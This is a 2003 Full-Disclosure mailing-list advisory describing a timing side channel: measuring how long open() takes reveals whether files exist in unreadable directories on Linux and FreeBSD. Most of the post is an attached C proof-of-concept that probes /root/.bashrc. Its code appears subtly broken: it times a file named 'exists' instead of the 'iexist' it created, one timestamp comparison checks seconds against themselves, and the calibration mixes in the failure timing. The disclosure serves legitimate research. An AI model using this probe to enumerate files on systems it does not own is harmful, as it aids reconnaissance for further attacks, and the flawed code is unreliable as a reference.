[Full-Disclosure] Syscall implementation could lead to whether or not a file exists

From: Andrew Griffiths (andrewgat_private)
Date: Wed Apr 02 2003 - 11:19:47 PST

  • Next message: Conectiva Updates: "[CLA-2003:614] Conectiva Security Announcement - sendmail"

    Product: Linux and various other kernels
    Tested:
    	- RedHat kernel 2.4.18-26.7.x (second latest ;))
    	- RedHat kernel 2.4.18-27.7.x
    	- Debian 3.0 box
    	- FreeBSD 4.4
    
    Description:
    
    	Due to the implementation of various system calls,  it becomes
    	possible to test whether or not a file exists in a directory
    	that is unreadable.
    
    Synopsis:
    
    	Filenames can be disclosed, which may be useful for other
    	attacks.
    
    Problem:
    
    	By timing how long it takes for the system call to return, you
    	can pretty tell whether or not the file exists, because the
    	failure time is in my testing, three times shorter than if the
    	file exists.
    
    	To illistrate, here is an example of the attached program
    	running with the open() call. I would think other syscalls such
    	as stat(), mkdir(), chdir(), etc would disclose whether or not a 	file 
    exists.
    
    	
    [+] creating unreachable
    [+] creating unreachable/iexist
    [+] chmod 0'ing unreachable
    [+] d---------    2 andrewg  andrewg      4096 Mar 20 20:37 unreachable/
    [+] Timing open() on unreachable/iexist
    	[+] Successful: 12 usecs, got Permission denied
    [+] Timing open() on unreachable/non-existant
    	[+] Failure: 3 usecs, got Permission denied
    	[+] Using 3 as our cutoff.
    [+] testing /root/.bashrc and /root/non-existant
    	[+] /root/.bashrc exists (4 usecs), got Permission denied
    	[+] /root/non-existant doesn't exist (2 usecs), got Permission denied
    
    	After a while of experimentation, I found that the following
    	formuala seems to be relatively decent at avoiding false	
    	positivites, on my RH box.
    
    		cutoff = ((success_time + failure_time) / 3) - 2
    
    	This is somewhat dependant on the load on the box, and where the 	file 
    is located, though it appears.
    
    	On some OS's (notably freebsd in my testing) it will store the
    	results of into its cache (different to linux, in the sense that 	it 
    throws off the algo above.). Thus, if you just create a file 		and time 
    open()ing that, then compare it with a file that has
    	been recently opened, you don't get a fair comparsision.
    
    
    Fix:
    
    	No known fix exists. Not exactly sure whether a fix is
    	appropiate, as the kernel is meant to be as fast as possible.
    
    Exploit:
    	is attached.
    
    Information is this email may be redistributed as long as the below 
    signature stays attached.
    
    Thanks,
    Andrew Griffiths
    -- 
    Attention: Public floggings will continue until morale improves.
    
    MidWay_/#melb-wireless licks txrxafk while his defenses are down.
    <MidWay_> Oh boy. That could have been taken out of context.
    
    
    #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <sys/types.h>
    #include <fcntl.h>
    
    #ifndef O_NOFOLLOW
    #define O_NOFOLLOW  0400000 /* don't follow links */
    #endif
    
    #ifndef O_LARGEFILE
    #define O_LARGEFILE 0100000
    #endif
    
    int flags = O_RDONLY|O_EXCL|O_SYNC|O_NOCTTY|O_NOFOLLOW;
    
    /* taken from scuts format string example/brute_blind example */
    
    unsigned long int
    tv_diff (struct timeval *tv_a, struct timeval *tv_b)
    {
            unsigned long int       diff;
    
            if (tv_a->tv_sec < tv_b->tv_sec ||
                    (tv_a->tv_sec == tv_b->tv_sec && tv_a->tv_sec < 
    tv_b->tv_sec))
            {
                    struct timeval *        tvtmp;
    
                    tvtmp = tv_b;
                    tv_b = tv_a;
                    tv_a = tvtmp;
            }
    
            diff = (tv_a->tv_sec - tv_b->tv_sec) * 1000000;
            if (tv_a->tv_sec == tv_b->tv_sec) {
                    diff += tv_a->tv_usec - tv_b->tv_usec;
            } else {
                    if (tv_a->tv_usec >= tv_b->tv_usec)
                            diff += tv_a->tv_usec - tv_b->tv_usec;
                    else
                            diff -= tv_b->tv_usec - tv_a->tv_usec;
            }
    
            return (diff);
    }
    
    void cleanup()
    {
    
    	printf("[+] cleaning up\n");
    	if(chmod("unreachable", 0700)==-1) {
    		printf("\t[-] Unable to revert unreachable back to being reachable\n");
    		exit(EXIT_FAILURE);
    	}
    
    	if(unlink("unreachable/iexist")==-1) {
    		printf("\t[-] Unable to remove unreachable/iexist\n");
    		exit(EXIT_FAILURE);
    	}
    
    	if(rmdir("unreachable")==-1) {
    		printf("\t[-] Unable to rmdir unreachable\n");
    		exit(EXIT_FAILURE);
    	}
    }
    
    int main(int argc, char **argv)
    {
    	struct timeval tv_a, tv_b;
    	int fd_a, fd_b;
    	char buf_a[500], buf_b[500];
    
    	unsigned int success, n, failure;
    	
    	atexit(cleanup);
    	
    	printf("[+] creating unreachable\n");
    	if(mkdir("unreachable", 0700)==-1) {
    		printf("\t[-] Unable to create unreachable\n");
    		exit(EXIT_FAILURE);
    	}
    	
    	printf("[+] creating unreachable/iexist\n");
    	if((fd_a = creat("unreachable/iexist", 0700))==-1) {
    		printf("\t[-] Unable to create unreachable/iexist\n");
    		exit(EXIT_FAILURE);
    	}
    	close(fd_a);
    
    	printf("[+] chmod 0'ing unreachable\n");
    	if(chmod("unreachable", 00)==-1) {
    		printf("\t[-] Unable to chmod unreachable\n");
    		exit(EXIT_FAILURE);
    	}
    
    	printf("[+] "); fflush(stdout);
    
    	system("ls -alF | grep unreachable");
    	
    	printf("[+] Timing open() on unreachable/iexist\n");
    	
    	/* fd_a = open("unreachable/exists", flags);
    	close(fd_a); */
    	
    	gettimeofday(&tv_a, NULL);
    	fd_a = open("unreachable/exists", flags);
    	gettimeofday(&tv_b, NULL);
    	
    	
    	printf("\t[+] Successful: %ld usecs, got %m\n", (success = tv_diff(&tv_b, &tv_a)));
    	close(fd_a);
    
    	printf("[+] Timing open() on unreachable/non-existant\n");
    	
    /*	fd_b = open("unreachable/non-existant", flags);
    	close(fd_b); */
    	
    	gettimeofday(&tv_a, NULL);
    	fd_b = open("unreachable/non-existant", flags);
    	gettimeofday(&tv_b, NULL);
    	
    
    	printf("\t[+] Failure: %ld usecs, got %m\n", (failure = tv_diff(&tv_b, &tv_a)));
    
    	close(fd_b);
    	success += tv_diff(&tv_b, &tv_a);
    	
    	success /= 3;
    //	success -= 2;
    
    	if(failure > success || success > (failure*8) ) {
    		printf("[-] It appears the load went up unexpectadly, mebe try re-running?\n");
    		exit(EXIT_FAILURE);
    	}
    
    	/* tweak the success value */
    
    	if((failure*4) >= success) success--;
    	if(success <= (failure*3)) success++;
    	
    	printf("\t[+] Using %d as our cutoff.\n", success);
    	printf("[+] testing /root/.bashrc and /root/non-existant\n");
    	
    /*	fd_a = open("/root/.bashrc", flags);
    	close(fd_a); */
    	
    	gettimeofday(&tv_a, NULL);
    	fd_a = open("/root/.bashrc", flags);
    	gettimeofday(&tv_b, NULL);
    	
    	if((n = tv_diff(&tv_b, &tv_a)) >= success) {
    		printf("\t[+] /root/.bashrc exists (%d usecs), got %m\n", n);
    	} else {
    		printf("\t[+] /root/.bashrc doesn't exist (%d usecs), got %m\n", n);
    	}
    	close(fd_a);
    	
    /*	fd_b = open("/root/non-existant", flags);
    	close(fd_b); */
    	
    	gettimeofday(&tv_a, NULL);
    	fd_b = open("/root/non-existant", flags);
    	gettimeofday(&tv_b, NULL);
    	
    	if((n = tv_diff(&tv_b, &tv_a)) >= success) {
    		printf("\t[+] /root/non-existant exists (%d usecs), got %m\n", n);
    	} else {
    		printf("\t[+] /root/non-existant doesn't exist (%d usecs), got %m\n", n);
    	}
    	
    	close(fd_b);
    }
    	
    
    
    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html
    



    This archive was generated by hypermail 2b30 : Fri Apr 04 2003 - 09:27:06 PST